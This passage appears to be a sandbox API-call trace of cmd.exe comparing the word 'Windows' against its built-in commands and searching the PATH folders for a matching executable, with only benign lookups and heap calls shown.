(_String1="Windows", _String2="VERIFY") returned 1 [0231.935] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.935] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.935] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.935] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.935] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.935] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.935] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.935] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.935] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.935] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.935] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.935] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.935] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.935] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.935] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.935] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.936] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.936] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0231.936] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.936] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.936] GetProcessHeap () returned 0x20b0f920000 [0231.936] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0231.941] SetErrorMode (uMode=0x0) returned 0x0 [0231.941] SetErrorMode (uMode=0x1) returned 0x0 [0231.941] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0231.941] SetErrorMode (uMode=0x0) returned 0x1 [0231.941] GetProcessHeap () returned 0x20b0f920000 [0231.941] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0231.941] GetProcessHeap () returned 0x20b0f920000 [0231.941] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0231.941] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.941] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.941] GetProcessHeap () returned 0x20b0f920000 [0231.941] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0231.941] GetProcessHeap () returned 0x20b0f920000 [0231.941] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0231.941] GetProcessHeap () returned 0x20b0f920000 [0231.941] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0231.941] GetProcessHeap () returned 0x20b0f920000 [0231.941] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0231.941] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.941] GetProcessHeap () returned 0x20b0f920000 [0231.941] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947280 [0231.942] GetProcessHeap () returned 0x20b0f920000 [0231.942] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947280, Size=0x7e) returned 0x20b0f956ac0 [0231.942] GetProcessHeap () returned 0x20b0f920000 [0231.942] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956ac0) returned 0x7e [0231.942] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.942] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d330 [0231.942] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0231.942] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.942] GetLastError () returned 0x2 [0231.943] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.943] GetLastError () returned 0x2 [0231.943] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.943] GetLastError () returned 0x2 [0231.943] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.943] GetLastError () returned 0x2 [0231.943] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.943] GetLastError () returned 0x2 [0231.943] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.943] GetLastError () returned 0x2 [0231.944] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.944] GetLastError () returned 0x2 [0231.944] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.944] GetLastError () returned 0x2 [0231.944] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.944] GetLastError () returned 0x2 [0231.944] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.945] GetLastError () returned 0x2 [0231.945] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.945] GetLastError () returned 0x2 [0231.945] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.945] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.945] GetLastError () returned 0x2 [0231.945] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.945] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cfd0 [0231.946] FindClose (in: hFindFile=0x20b0f92cfd0 | out: hFindFile=0x20b0f92cfd0) returned 1 [0231.946] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.946] GetLastError () returned 0x2 [0231.946] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.946] GetLastError () returned 0x2 [0231.946] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.946] GetLastError () returned 0x2 [0231.946] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.947] GetLastError () returned 0x2 [0231.947] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.947] GetLastError () returned 0x2 [0231.947] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.947] GetLastError () returned 0x2 [0231.947] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.947] GetLastError () returned 0x2 [0231.947] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.948] GetLastError () returned 0x2 [0231.948] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.948] GetLastError () returned 0x2 [0231.948] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.948] GetLastError () returned 0x2 [0231.948] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.948] GetLastError () returned 0x2 [0231.949] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.949] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.949] GetLastError () returned 0x2 [0231.949] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.949] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.949] GetLastError () returned 0x2 [0231.949] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.949] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.950] GetLastError () returned 0x2 [0231.950] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.950] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.950] GetLastError () returned 0x2 [0231.950] ??_V@YAXPEAX@Z () returned 0x1 [0231.950] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0231.951] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.951] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.951] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.952] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.952] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.952] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.952] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.952] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.952] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.952] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.952] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.952] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.953] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.953] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.953] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.953] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.953] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.953] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.953] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.953] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.953] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.953] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.953] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.953] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.953] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.953] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.953] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.953] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.953] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.953] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.953] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.953] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.953] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.953] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.953] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.953] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.953] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.953] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.953] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.953] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.953] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.953] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.953] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.953] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.954] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.954] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.954] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.954] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.954] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.954] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.954] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.954] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.954] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.954] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.954] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.954] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.954] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.954] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.954] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.954] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.954] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.954] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.954] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.954] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.954] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.954] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.954] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.954] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.954] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.954] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.954] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.954] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.954] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.954] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.955] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.955] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.955] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.955] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.955] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.955] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.955] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.955] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.955] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.955] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.955] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.955] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.955] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.955] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.955] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0231.955] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0231.955] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0231.955] ??_V@YAXPEAX@Z () returned 0x1 [0231.956] GetProcessHeap () returned 0x20b0f920000 [0231.956] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0231.956] GetProcessHeap () returned 0x20b0f920000 [0231.956] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb8) returned 0x20b0f92d600 [0231.956] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0231.956] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.956] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.957] GetProcessHeap () returned 0x20b0f920000 [0231.957] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0231.958] SetErrorMode (uMode=0x0) returned 0x0 [0231.958] SetErrorMode (uMode=0x1) returned 0x0 [0231.958] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0231.958] SetErrorMode (uMode=0x0) returned 0x1 [0231.958] GetProcessHeap () returned 0x20b0f920000 [0231.958] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0231.958] GetProcessHeap () returned 0x20b0f920000 [0231.958] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0231.958] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.958] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.959] GetProcessHeap () returned 0x20b0f920000 [0231.959] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947890 [0231.959] GetProcessHeap () returned 0x20b0f920000 [0231.959] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0231.959] GetProcessHeap () returned 0x20b0f920000 [0231.959] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0231.959] GetProcessHeap () returned 0x20b0f920000 [0231.959] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0231.959] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.959] GetProcessHeap () returned 0x20b0f920000 [0231.959] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947370 [0231.959] GetProcessHeap () returned 0x20b0f920000 [0231.959] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947370, Size=0x7e) returned 0x20b0f956880 [0231.959] GetProcessHeap () returned 0x20b0f920000 [0231.959] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956880) returned 0x7e [0231.959] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.959] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d030 [0231.960] FindClose (in: hFindFile=0x20b0f92d030 | out: hFindFile=0x20b0f92d030) returned 1 [0231.960] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.960] GetLastError () returned 0x2 [0231.960] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.960] GetLastError () returned 0x2 [0231.960] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.961] GetLastError () returned 0x2 [0231.961] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.961] GetLastError () returned 0x2 [0231.961] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.961] GetLastError () returned 0x2 [0231.961] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.961] GetLastError () returned 0x2 [0231.961] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.962] GetLastError () returned 0x2 [0231.962] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.962] GetLastError () returned 0x2 [0231.962] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.962] GetLastError () returned 0x2 [0231.962] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.963] GetLastError () returned 0x2 [0231.963] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.963] GetLastError () returned 0x2 [0231.963] GetDriveTypeW 